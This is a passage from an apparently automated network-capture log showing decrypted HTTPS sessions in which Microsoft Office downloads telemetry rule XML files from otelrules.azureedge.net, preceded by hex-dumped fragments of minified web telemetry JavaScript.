Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-12-03 16:42:00 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-12-03 16:42:00 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
2024-12-03 16:42:00 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-12-03 16:42:00 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-12-03 16:42:00 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:59 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:59 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: e52eaca9-401e-0064-32a1-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164159Z-174f7845968px8v7hC1EWR08ng00000016e000000000fn8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:59 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:59 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:00 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: e78111bd-301e-0020-4cf9-446299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164200Z-174f7845968cs2nkhC1EWR2tq000000001vg00000000fzum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:00 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:00 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:00 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 20c5b054-901e-0016-7725-44efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164200Z-174f7845968frfdmhC1EWRxxbw000000164000000000ut8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:00 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:01 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:01 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: df02ced2-c01e-0046-0352-442db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164201Z-174f7845968glpgnhC1EWR7uec00000016cg000000009137 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:01 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:01 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:01 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1f887815-401e-0029-26a9-429b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164201Z-174f7845968xlwnmhC1EWR0sv800000015z000000000ny19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:01 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:01 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:02 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:01 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 709e6de4-501e-00a3-7b5b-43c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164201Z-174f7845968glpgnhC1EWR7uec000000167000000000yfvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:02 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:02 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:02 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:02 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 106d4033-401e-008c-3691-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164202Z-174f7845968nxc96hC1EWRspw800000015xg00000000g8x4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:02 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:02 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:02 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 1fa9f6de-401e-0083-0aab-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164202Z-174f7845968px8v7hC1EWR08ng00000016b000000000v84t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:02 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:03 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:03 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 0ad7255b-c01e-00ad-65a2-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164203Z-174f7845968cdxdrhC1EWRg0en0000001670000000005bbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
